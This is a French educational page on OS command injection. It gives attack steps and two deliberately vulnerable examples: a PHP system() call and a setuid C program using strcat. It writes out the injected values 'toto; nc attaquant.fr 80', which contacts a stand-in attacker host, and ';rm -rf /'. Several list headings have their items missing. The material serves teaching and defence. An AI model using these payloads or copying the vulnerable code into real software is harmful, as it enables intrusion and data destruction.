Les attaques de type injection de commandes consistent à injecter des commandes du système d'exploitation dans les fonctions d'une application existante.
Une application qui utilise des entrées non fiables pour construire des chaînes de commande est vulnérable. Un adversaire peut tirer parti de l'injection de commandes du système d'exploitation dans une application pour élever ses privilèges, exécuter des commandes arbitraires et compromettre le système d'exploitation sous-jacent.
Pour exploiter cette vulnérabilité, il est nécessaire d’avoir accès à une application qui accepte les entrées de l'utilisateur sans les filtrer, puis les utiliser pour construire les commandes à exécuter.
Dans la plupart des cas, il s'agit d'une forme de chaîne de caractères qui est concaténée à une chaîne constante définie par l'application pour former la commande complète à exécuter.
Déterminer le système d'exploitation sous-jacents via, par exemple, des scans de ports avec nmap.
Identifier les entrées contrôlables par l'utilisateur qui sont transmises dans le cadre d'une commande au système d'exploitation sous-jacent.
Injecter des délimiteurs de commande suivis de commandes systèmes et observer les résultats.
Le succès de ce type d'attaque peut permettre :
Les contre-mesures suivantes peuvent être mises en œuvre :
Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité :
Cet exemple de code vise à prendre le nom d'un utilisateur et à lister le contenu du répertoire personnel de cet utilisateur. Il est sujet à la première variante de l'injection de commande OS.
La variable $userName n'est pas vérifiée pour détecter les entrées malveillantes. Un attaquant peut définir la variable $userName avec une commande OS arbitraire telle que : 'toto; nc attaquant.fr 80'
$userName = $_POST["user"]; $command = 'ls -l /home/' . $userName; system($command);
Le programme simple suivant accepte un nom de fichier comme argument de ligne de commande et affiche le contenu du fichier à l'utilisateur. Le programme est installé setuid root car il est destiné à être utilisé comme outil d'apprentissage pour permettre aux administrateurs système en formation d'inspecter les fichiers système privilégiés sans leur donner la possibilité de les modifier ou d'endommager le système.
Comme le programme s'exécute avec les privilèges de l'administrateur, l'appel à system() s'exécute également avec les privilèges de l'administrateur. Si un utilisateur spécifie un nom de fichier standard, l'appel fonctionne comme prévu. Cependant, si un attaquant passe une chaîne de la forme “;rm -rf /”} alors l'appel à system() échoue en raison d'un manque d'arguments et continue à supprimer récursivement le contenu de la partition racine.
int main(int argc, char** argv) { char cmd[CMD_MAX] = "/usr/bin/cat "; strcat(cmd, argv[1]); system(cmd);}
The software constructs a string for a command to executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.